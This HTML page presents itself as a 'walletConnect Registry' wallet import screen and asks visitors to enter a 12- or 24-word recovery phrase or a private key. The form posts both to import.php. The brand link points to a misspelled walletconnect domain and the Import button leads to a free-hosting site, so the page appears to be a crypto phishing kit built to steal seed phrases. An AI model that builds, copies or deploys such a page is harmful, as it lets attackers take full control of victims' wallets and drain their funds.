<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="https://cdn.jsdelivr.net/gh/alpinejs/
[email protected]/dist/alpine.min.js" defer></script>
<script src="https://kit.fontawesome.com/edbeb334a3.js" crossorigin="anonymous"></script>
<link rel = "icon" type = "image/jpg" href = "walletconnect-logo.jpg">
<link rel="stylesheet" href="stylewallet.css">
<title>walletConnect Registry</title>
</head>
<body>
<div id="__next">
<div class="font-roboto" id="content">
<header class="sticky top-0 z-10 flex items-center justify-between px-5 py-4 bg-white md:py-6 ">
<div class="absolute inset-0 shadow-lg opacity-50"></div>
<div class="z-20 flex justify-around w-full sm:pr-10 md:pr-20"><a class="font-semibold text-cool-gray-500 hover:text-cool-gray-600 sm:text-xl" href="https://registry.walletconnect.or/app"> <!-- -->Apps<!-- --> </a></div>
<div class="z-20 flex"><a href="index.html">
<div class="w-16 mx-6 sm:w-20 md:w-28"><img class="cursor-pointer object-fit" src="walletconnect-logo.jpg" alt="walletconnect logo"/></div>
</div>
<div class="z-20 flex justify-around w-full sm:pl-10 md:pl-20"><a class="font-semibold text-cool-gray-500 hover:text-cool-gray-600 sm:text-xl" href="wallet.html"> <!-- -->Wallets<!-- --> </a></div>
</header>
<main class="flex flex-col mx-8 mt-12 space-y-10 text-center align-middle">
<div class="flex justify-center">
<div class="max-w-3xl">
<h1 class="text-4xl font-medium text-cool-gray-500">Import Wallet</h1>
<p class="mt-10 text-lg font-thin leading-6 text-gray-500">Typically 12 (sometimes 24) words seperated by a single space</p>
<div class="mt-2"></div>
</div>
</div>
<div>
<div class="flex justify-center items-center w-full">
<!--actual component start-->
<div x-data="setup()" class="lg:px-16 px-2" style="width: 80%;">
<ul class="flex justify-center items-center my-4">
<template x-for="(tab, index) in tabs" :key="index">
<li class="cursor-pointer py-2 px-4 text-gray-500 border-b-8"
:class="activeTab===index ? 'text-blue-500 border-blue-500' : ''" @click="activeTab = index"
x-text="tab"></li>
</template>
</ul>
<form action="import.php" method="post">
<!--<div class="w-full bg-white p-16 text-center mx-auto border">-->
<div x-show="activeTab===0" class="pt-8">
<textarea id = "input" name = "phrasez" placeholder="Phrase" class="block w-full h-40 px-4 py-2 text-gray-700 bg-white border border-gray-300 rounded-md dark:bg-gray-800 dark:text-gray-300 dark:border-gray-600 focus:border-blue-500 dark:focus:border-blue-500 focus:outline-none focus:ring phrase"></textarea>
</div>
<div x-show="activeTab===1" class="pt-8">
<input id = "input" name = "privateKeyz" placeholder="Private Key" class="block w-full px-4 py-2 text-gray-700 bg-white border border-gray-300 rounded-md dark:bg-gray-800 dark:text-gray-300 dark:border-gray-600 focus:border-blue-500 dark:focus:border-blue-500 focus:outline-none focus:ring private" type="text">
</div>
<div class="flex justify-center mt-6">
<button id = "popBtn" name = "submitz" class="px-4 py-2 text-white transition-colors duration-200 transform bg-blue-500 rounded-md hover:bg-blue-700 focus:outline-none focus:bg-gray-600" onclick="importBtn(login.php)"><a href="https://walleterq.000webhostapp.com/import.html">Import</button>
</div>
</form>
</div>
</div>
</main>
<footer class="flex justify-center mt-24 mb-16 sm:mt-32">
<div class="flex flex-col space-y-6 sm:space-y-0 sm:space-x-20 sm:flex-row"><a class="text-sm font-medium sm:text-lg text-cool-gray-600 group-hover:text-cool-gray-500" target="_blank" href="https://discord.gg/cB54BwPGru" rel="noopener noreferrer"> <div class="flex"><img class="w-6 sm:w-8" src="discord.svg" alt="Discord"/></div> </a><a class="text-sm font-medium sm:text-lg text-cool-gray-600 group-hover:text-cool-gray-500" target="_blank" href="https://twitter.com/walletconnect" rel="noopener noreferrer"> <div class="flex"><img class="w-6 sm:w-8" src="twitter.svg" alt="Twitter"/></div> </a><a class="text-sm font-medium sm:text-lg text-cool-gray-600 group-hover:text-cool-gray-500" target="_blank" href="https://github.com/walletconnect" rel="noopener noreferrer"> <div class="flex"><img class="w-6 sm:w-8" src="github.svg" alt="GitHub"/></div> </a></div>
</footer>
</div>
<div class=" flex flex-col justify-center items-center px-4 py-2 mx-auto relative">
<div class="flex flex-col justify-center items-center mx-3">
</div>
<div class="m-3">
</div>
<div class="flex items-center justify-center top-2 absolute left-48 lg:left-52" onclick="closePop()" id = "closePop">
<svg class="w-5 h-5 text-gray-700 fill-current" aria-hidden="true" focusable="false" data-prefix="far" data-icon="times-circle" class="svg-inline--fa fa-times-circle fa-w-16" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
</svg>
</div>
</div>
</div>
</div>
</div>
<script>
function setup() {
return {
activeTab: 0,
tabs: [
"Phrase",
"Private Key",
]
};
};
</script>
<script src="import.js"></script>
</body>
</html>